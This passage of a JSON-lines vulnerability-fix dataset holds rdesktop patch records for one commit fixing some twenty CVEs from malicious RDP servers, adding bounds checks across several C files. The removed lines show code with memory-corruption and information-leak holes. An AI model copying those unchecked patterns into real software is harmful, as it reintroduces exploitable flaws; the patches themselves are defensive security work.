((COMPS_ObjMRTreeData*)it->data)->subnodes;", "related": true}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "cliprdr.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -118,6 +118,7 @@ cliprdr_process(STREAM s)\n \tuint16 type, status;\n \tuint32 length, format;\n \tuint8 *data;\n+\tstruct stream packet = *s;\n \n \tin_uint16_le(s, type);\n \tin_uint16_le(s, status);\n@@ -127,6 +128,11 @@ cliprdr_process(STREAM s)\n \tlogger(Clipboard, Debug, \"cliprdr_process(), type=%d, status=%d, length=%d\", type, status,\n \t length);\n \n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\trdp_protocol_error(\"cliprdr_process(), consume of packet from stream would overrun\", &packet);\n+\t}\n+\n \tif (status == CLIPRDR_ERROR)\n \t{\n \t\tswitch (type)", "sections": [{"section": "@@ -118,6 +118,7 @@ cliprdr_process(STREAM s)\n \tuint16 type, status;\n \tuint32 length, format;\n \tuint8 *data;\n+\tstruct stream packet = *s;\n \n \tin_uint16_le(s, type);\n \tin_uint16_le(s, status);\n", "related": false}, {"section": "@@ -127,6 +128,11 @@ cliprdr_process(STREAM s)\n \tlogger(Clipboard, Debug, \"cliprdr_process(), type=%d, status=%d, length=%d\", type, status,\n \t length);\n \n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\trdp_protocol_error(\"cliprdr_process(), consume of packet from stream would overrun\", &packet);\n+\t}\n+\n \tif (status == CLIPRDR_ERROR)\n \t{\n \t\tswitch (type)", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "seamless.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -168,6 +168,12 @@ seamless_process_line(const char *line, void *data)\n \n \t\t\ticon_buf[len] = strtol(byte, NULL, 16);\n \t\t\tlen++;\n+\n+\t\t\tif ((size_t)len >= sizeof(icon_buf))\n+\t\t\t{\n+\t\t\t\tlogger(Protocol, Warning, \"seamless_process_line(), icon data would overrun icon_buf\");\n+\t\t\t\tbreak;\n+\t\t\t}\n \t\t}\n \n \t\tui_seamless_seticon(id, tok5, width, height, chunk, icon_buf, len);\n@@ -370,6 +376,12 @@ seamless_process(STREAM s)\n {\n \tunsigned int pkglen;\n \tchar *buf;\n+\tstruct stream packet = *s;\n+\n+\tif (!s_check(s))\n+\t{\n+\t\trdp_protocol_error(\"seamless_process(), stream is in unstable state\", &packet);\n+\t}\n \n \tpkglen = s->end - s->p;\n \t/* str_handle_lines requires null terminated strings */", "sections": [{"section": "@@ -168,6 +168,12 @@ seamless_process_line(const char *line, void *data)\n \n \t\t\ticon_buf[len] = strtol(byte, NULL, 16);\n \t\t\tlen++;\n+\n+\t\t\tif ((size_t)len >= sizeof(icon_buf))\n+\t\t\t{\n+\t\t\t\tlogger(Protocol, Warning, \"seamless_process_line(), icon data would overrun icon_buf\");\n+\t\t\t\tbreak;\n+\t\t\t}\n \t\t}\n \n \t\tui_seamless_seticon(id, tok5, width, height, chunk, icon_buf, len);\n", "related": false}, {"section": "@@ -370,6 +376,12 @@ seamless_process(STREAM s)\n {\n \tunsigned int pkglen;\n \tchar *buf;\n+\tstruct stream packet = *s;\n+\n+\tif (!s_check(s))\n+\t{\n+\t\trdp_protocol_error(\"seamless_process(), stream is in unstable state\", &packet);\n+\t}\n \n \tpkglen = s->end - s->p;\n \t/* str_handle_lines requires null terminated strings */", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "mcs.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -45,9 +45,16 @@ mcs_out_domain_params(STREAM s, int max_channels, int max_users, int max_tokens,\n static RD_BOOL\n mcs_parse_domain_params(STREAM s)\n {\n-\tint length;\n+\tuint32 length;\n+\tstruct stream packet = *s;\n \n \tber_parse_header(s, MCS_TAG_DOMAIN_PARAMS, &length);\n+\n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\trdp_protocol_error(\"mcs_parse_domain_params(), consume domain params from stream would overrun\", &packet);\n+\t}\n+\n \tin_uint8s(s, length);\n \n \treturn s_check(s);\n@@ -89,8 +96,9 @@ mcs_recv_connect_response(STREAM mcs_data)\n {\n \tUNUSED(mcs_data);\n \tuint8 result;\n-\tint length;\n+\tuint32 length;\n \tSTREAM s;\n+\tstruct stream packet;\n \tRD_BOOL is_fastpath;\n \tuint8 fastpath_hdr;\n \n@@ -99,6 +107,8 @@ mcs_recv_connect_response(STREAM mcs_data)\n \n \tif (s == NULL)\n \t\treturn False;\n+\t\n+\tpacket = *s;\n \n \tber_parse_header(s, MCS_CONNECT_RESPONSE, &length);\n \n@@ -112,6 +122,12 @@ mcs_recv_connect_response(STREAM mcs_data)\n \n \tber_parse_header(s, BER_TAG_INTEGER, &length);\n \tin_uint8s(s, length);\t/* connect id */\n+\n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\trdp_protocol_error(\"mcs_recv_connect_response(), consume connect id from stream would overrun\", &packet);\n+\t}\n+\n \tmcs_parse_domain_params(s);\n \n \tber_parse_header(s, BER_TAG_OCTET_STRING, &length);", "sections": [{"section": "@@ -45,9 +45,16 @@ mcs_out_domain_params(STREAM s, int max_channels, int max_users, int max_tokens,\n static RD_BOOL\n mcs_parse_domain_params(STREAM s)\n {\n-\tint length;\n+\tuint32 length;\n+\tstruct stream packet = *s;\n \n \tber_parse_header(s, MCS_TAG_DOMAIN_PARAMS, &length);\n+\n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\trdp_protocol_error(\"mcs_parse_domain_params(), consume domain params from stream would overrun\", &packet);\n+\t}\n+\n \tin_uint8s(s, length);\n \n \treturn s_check(s);\n", "related": false}, {"section": "@@ -89,8 +96,9 @@ mcs_recv_connect_response(STREAM mcs_data)\n {\n \tUNUSED(mcs_data);\n \tuint8 result;\n-\tint length;\n+\tuint32 length;\n \tSTREAM s;\n+\tstruct stream packet;\n \tRD_BOOL is_fastpath;\n \tuint8 fastpath_hdr;\n \n", "related": false}, {"section": "@@ -99,6 +107,8 @@ mcs_recv_connect_response(STREAM mcs_data)\n \n \tif (s == NULL)\n \t\treturn False;\n+\t\n+\tpacket = *s;\n \n \tber_parse_header(s, MCS_CONNECT_RESPONSE, &length);\n \n", "related": false}, {"section": "@@ -112,6 +122,12 @@ mcs_recv_connect_response(STREAM mcs_data)\n \n \tber_parse_header(s, BER_TAG_INTEGER, &length);\n \tin_uint8s(s, length);\t/* connect id */\n+\n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\trdp_protocol_error(\"mcs_recv_connect_response(), consume connect id from stream would overrun\", &packet);\n+\t}\n+\n \tmcs_parse_domain_params(s);\n \n \tber_parse_header(s, BER_TAG_OCTET_STRING, &length);", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "asn.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -22,7 +22,7 @@\n \n /* Parse an ASN.1 BER header */\n RD_BOOL\n-ber_parse_header(STREAM s, int tagval, int *length)\n+ber_parse_header(STREAM s, int tagval, uint32 *length)\n {\n \tint tag, len;\n ", "sections": [{"section": "@@ -22,7 +22,7 @@\n \n /* Parse an ASN.1 BER header */\n RD_BOOL\n-ber_parse_header(STREAM s, int tagval, int *length)\n+ber_parse_header(STREAM s, int tagval, uint32 *length)\n {\n \tint tag, len;\n ", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "rdpdr.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -854,6 +854,7 @@ rdpdr_process(STREAM s)\n \tuint16 vmin;\n \tuint16 component;\n \tuint16 pakid;\n+\tstruct stream packet = *s;\n \n \tlogger(Protocol, Debug, \"rdpdr_process()\");\n \t/* hexdump(s->p, s->end - s->p); */\n@@ -873,8 +874,18 @@ rdpdr_process(STREAM s)\n \t\t\t\t/* DR_CORE_SERVER_ANNOUNCE_REQ */\n \t\t\t\tin_uint8s(s, 2);\t/* skip versionMajor */\n \t\t\t\tin_uint16_le(s, vmin);\t/* VersionMinor */\n+\n \t\t\t\tin_uint32_le(s, g_client_id);\t/* ClientID */\n \n+\t\t\t\t/* g_client_id is sent back to server,\n+\t\t\t\t so lets check that we actually got\n+\t\t\t\t valid data from stream to prevent\n+\t\t\t\t that we leak back data to server */\n+\t\t\t\tif (!s_check(s))\n+\t\t\t\t{\n+\t\t\t\t\trdp_protocol_error(\"rdpdr_process(), consume of g_client_id from stream did overrun\", &packet);\n+\t\t\t\t}\n+\n \t\t\t\t/* The RDP client is responsibility to provide a random client id\n \t\t\t\t if server version is < 12 */\n \t\t\t\tif (vmin < 0x000c)", "sections": [{"section": "@@ -854,6 +854,7 @@ rdpdr_process(STREAM s)\n \tuint16 vmin;\n \tuint16 component;\n \tuint16 pakid;\n+\tstruct stream packet = *s;\n \n \tlogger(Protocol, Debug, \"rdpdr_process()\");\n \t/* hexdump(s->p, s->end - s->p); */\n", "related": false}, {"section": "@@ -873,8 +874,18 @@ rdpdr_process(STREAM s)\n \t\t\t\t/* DR_CORE_SERVER_ANNOUNCE_REQ */\n \t\t\t\tin_uint8s(s, 2);\t/* skip versionMajor */\n \t\t\t\tin_uint16_le(s, vmin);\t/* VersionMinor */\n+\n \t\t\t\tin_uint32_le(s, g_client_id);\t/* ClientID */\n \n+\t\t\t\t/* g_client_id is sent back to server,\n+\t\t\t\t so lets check that we actually got\n+\t\t\t\t valid data from stream to prevent\n+\t\t\t\t that we leak back data to server */\n+\t\t\t\tif (!s_check(s))\n+\t\t\t\t{\n+\t\t\t\t\trdp_protocol_error(\"rdpdr_process(), consume of g_client_id from stream did overrun\", &packet);\n+\t\t\t\t}\n+\n \t\t\t\t/* The RDP client is responsibility to provide a random client id\n \t\t\t\t if server version is < 12 */\n \t\t\t\tif (vmin < 0x000c)", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "cssp.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -595,6 +595,7 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \tSTREAM s;\n \tint length;\n \tint tagval;\n+\tstruct stream packet;\n \n \ts = tcp_recv(NULL, 4);\n \n@@ -622,6 +623,7 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \n \t// receive the remainings of message\n \ts = tcp_recv(s, length);\n+\tpacket = *s;\n \n \t// parse the response and into nego token\n \tif (!ber_in_header(s, &tagval, &length) ||\n@@ -632,6 +634,12 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \tif (!ber_in_header(s, &tagval, &length) ||\n \t tagval != (BER_TAG_CTXT_SPECIFIC | BER_TAG_CONSTRUCTED | 0))\n \t\treturn False;\n+\n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\t rdp_protocol_error(\"cssp_read_tsrequest(), consume of version from stream would overrun\",\n+\t\t\t\t &packet);\n+\t}\n \tin_uint8s(s, length);\n \n \t// negoToken [1]\n@@ -653,7 +661,14 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \t\tif (!ber_in_header(s, &tagval, &length) || tagval != BER_TAG_OCTET_STRING)\n \t\t\treturn False;\n \n-\t\ttoken->end = token->p = token->data;\n+\t\tif (!s_check_rem(s, length))\n+\t\t{\n+\t\t\trdp_protocol_error(\"cssp_read_tsrequest(), consume of token from stream would overrun\",\n+\t\t\t\t\t &packet);\n+\t\t}\n+\n+\t\ts_realloc(token, length);\n+\t\ts_reset(token);\n \t\tout_uint8p(token, s->p, length);\n \t\ts_mark_end(token);\n \t}", "sections": [{"section": "@@ -595,6 +595,7 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \tSTREAM s;\n \tint length;\n \tint tagval;\n+\tstruct stream packet;\n \n \ts = tcp_recv(NULL, 4);\n \n", "related": false}, {"section": "@@ -622,6 +623,7 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \n \t// receive the remainings of message\n \ts = tcp_recv(s, length);\n+\tpacket = *s;\n \n \t// parse the response and into nego token\n \tif (!ber_in_header(s, &tagval, &length) ||\n", "related": false}, {"section": "@@ -632,6 +634,12 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \tif (!ber_in_header(s, &tagval, &length) ||\n \t tagval != (BER_TAG_CTXT_SPECIFIC | BER_TAG_CONSTRUCTED | 0))\n \t\treturn False;\n+\n+\tif (!s_check_rem(s, length))\n+\t{\n+\t\t rdp_protocol_error(\"cssp_read_tsrequest(), consume of version from stream would overrun\",\n+\t\t\t\t &packet);\n+\t}\n \tin_uint8s(s, length);\n \n \t// negoToken [1]\n", "related": false}, {"section": "@@ -653,7 +661,14 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)\n \t\tif (!ber_in_header(s, &tagval, &length) || tagval != BER_TAG_OCTET_STRING)\n \t\t\treturn False;\n \n-\t\ttoken->end = token->p = token->data;\n+\t\tif (!s_check_rem(s, length))\n+\t\t{\n+\t\t\trdp_protocol_error(\"cssp_read_tsrequest(), consume of token from stream would overrun\",\n+\t\t\t\t\t &packet);\n+\t\t}\n+\n+\t\ts_realloc(token, length);\n+\t\ts_reset(token);\n \t\tout_uint8p(token, s->p, length);\n \t\ts_mark_end(token);\n \t}", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "stream.h", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -54,7 +54,7 @@ size_t in_ansi_string(STREAM s, char *string, size_t len);\n #define s_pop_layer(s,h)\t(s)->p = (s)->h;\n #define s_mark_end(s)\t\t(s)->end = (s)->p;\n #define s_check(s)\t\t((s)->p <= (s)->end)\n-#define s_check_rem(s,n)\t((s)->p + n <= (s)->end)\n+#define s_check_rem(s,n) (s_check(s) && (n <= (s)->end - (s)->p))\n #define s_check_end(s)\t\t((s)->p == (s)->end)\n #define s_length(s)\t\t((s)->end - (s)->data)\n #define s_left(s) ((s)->size - ((s)->p - (s)->data))", "sections": [{"section": "@@ -54,7 +54,7 @@ size_t in_ansi_string(STREAM s, char *string, size_t len);\n #define s_pop_layer(s,h)\t(s)->p = (s)->h;\n #define s_mark_end(s)\t\t(s)->end = (s)->p;\n #define s_check(s)\t\t((s)->p <= (s)->end)\n-#define s_check_rem(s,n)\t((s)->p + n <= (s)->end)\n+#define s_check_rem(s,n) (s_check(s) && (n <= (s)->end - (s)->p))\n #define s_check_end(s)\t\t((s)->p == (s)->end)\n #define s_length(s)\t\t((s)->end - (s)->data)\n #define s_left(s) ((s)->size - ((s)->p - (s)->data))", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "proto.h", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -164,6 +164,7 @@ RD_BOOL rdp_connect(char *server, uint32 flags, char *domain, char *password, ch\n \t\t char *directory, RD_BOOL reconnect);\n void rdp_reset_state(void);\n void rdp_disconnect(void);\n+void rdp_protocol_error(const char *message, STREAM s);\n /* rdpdr.c */\n int get_device_index(RD_NTHANDLE handle);\n void convert_to_unix_filename(char *filename);\n@@ -224,7 +225,7 @@ void tcp_run_ui(RD_BOOL run);\n /* asn.c */\n RD_BOOL ber_in_header(STREAM s, int *tagval, int *length);\n void ber_out_header(STREAM s, int tagval, int length);\n-RD_BOOL ber_parse_header(STREAM s, int tagval, int *length);\n+RD_BOOL ber_parse_header(STREAM s, int tagval, uint32 *length);\n void ber_out_integer(STREAM s, int value);\n void ber_out_sequence(STREAM s, STREAM contents);\n ", "sections": [{"section": "@@ -164,6 +164,7 @@ RD_BOOL rdp_connect(char *server, uint32 flags, char *domain, char *password, ch\n \t\t char *directory, RD_BOOL reconnect);\n void rdp_reset_state(void);\n void rdp_disconnect(void);\n+void rdp_protocol_error(const char *message, STREAM s);\n /* rdpdr.c */\n int get_device_index(RD_NTHANDLE handle);\n void convert_to_unix_filename(char *filename);\n", "related": false}, {"section": "@@ -224,7 +225,7 @@ void tcp_run_ui(RD_BOOL run);\n /* asn.c */\n RD_BOOL ber_in_header(STREAM s, int *tagval, int *length);\n void ber_out_header(STREAM s, int tagval, int length);\n-RD_BOOL ber_parse_header(STREAM s, int tagval, int *length);\n+RD_BOOL ber_parse_header(STREAM s, int tagval, uint32 *length);\n void ber_out_integer(STREAM s, int value);\n void ber_out_sequence(STREAM s, STREAM contents);\n ", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "cliprdr.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix 